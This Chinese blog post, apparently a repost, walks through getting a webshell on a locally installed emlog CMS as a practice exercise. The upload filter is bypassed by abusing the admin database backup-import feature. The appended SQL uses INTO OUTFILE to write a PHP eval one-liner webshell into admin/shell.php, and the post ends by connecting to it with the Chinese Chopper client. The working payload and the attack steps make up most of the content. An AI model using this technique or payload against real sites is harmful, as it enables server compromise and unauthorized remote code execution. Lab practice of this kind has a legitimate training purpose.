php如何用菜刀连接getshell,2019-11-7:练习上传getshell,通过菜刀连接

一、使用phtstudy搭建环境

1,将emlog源码解压到phpstudy的www目录,复制emlog源码中的src所有文件到需要搭建emlog的目录中,修改emlog配置文件,输入好本机mysql账户信息,之后访问emlog,根据情况设置填写信息

38e68f107ee8aa83746effeb69f7de0c.png

09638f2e65f9888cfda8859b9aef0853.png

07a3210019737bec66c51762939cdf0a.png

二、寻找上传文件路径,上传getshell

查询资料发现后台admin界面有个信息泄漏漏洞,get action=phpinfo可以得到phpinfo,成功getshell需要利用下

7c5e18b196585a716f0f5263d6871f07.png

1,首页是没有上传按钮的,所以需要登录管理后台,登录之后在发布文章的地方有上传选项,允许类型有不少rar zip gif jpg jpeg png txt pdf docx doc xls xlsx

3242aff09b32e0bdb0bffe7df927f07d.png

2,上传webshell,准备好一句话php文件,直接上传,提示文件类型错误,明显直接上传php文件不行

69f935ce32ca06dafbb14ebd54c81dff.png

08e210f5d73f4059946f1dbf09d1a613.png

3,修改成网站允许的文件后缀名之后尝试上传,发现只是修改文件后缀之后就可以上传成功,截图显示图是裂的没关系,因为是直接将php改后缀的没有图像数据所以是正常现象

ba0ff7f96f391455bd94ee5bdd816a01.png

4,上传成功之后,我以为可以直接getshell,发现自己天真了,到网站上传路径,发现所有上传的文件都只能是图片类型或其他类型,直接传脚本的方式不可行了,需要找其他方法

6961687066d5e7d784393133cdecba8b.png

5,查找资料,发现后台有一个备份数据功能,还有导入本地备份功能,正式开始getshell

06f14161e78d387a79df5a0173c08ea8.png

6,点击备份数据,将数据库的文件备份出来,在最后加入以下语句

Drop TABLE IF EXISTS emglog_shell;

create table emlog_shell(`cmd` text(999) not null);

INSERT INTO emlog_shell VALUES (‘<?php @eval($_POST["aaa"]);?>‘);

Select cmd from emlog_shell into outfile ‘D:/phpstudy_pro/WWW/emlog/admin/shell.php‘;

Drop TABLE IF EXISTS emglog_shell;

b1665ad3eb9c8259577bc1b43ce0adc9.png

7,导入数据,发现成功导入shell.php

1001d47896ddb7e732be082be8e9a1d3.png

ad89eb8fffa207a8b076a300b969852f.png

8,菜刀配置连接,成功getshell

75fbd9d11f7aca4f78d4829da88ec086.png

原文:https://www.cnblogs.com/sym945/p/11815809.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值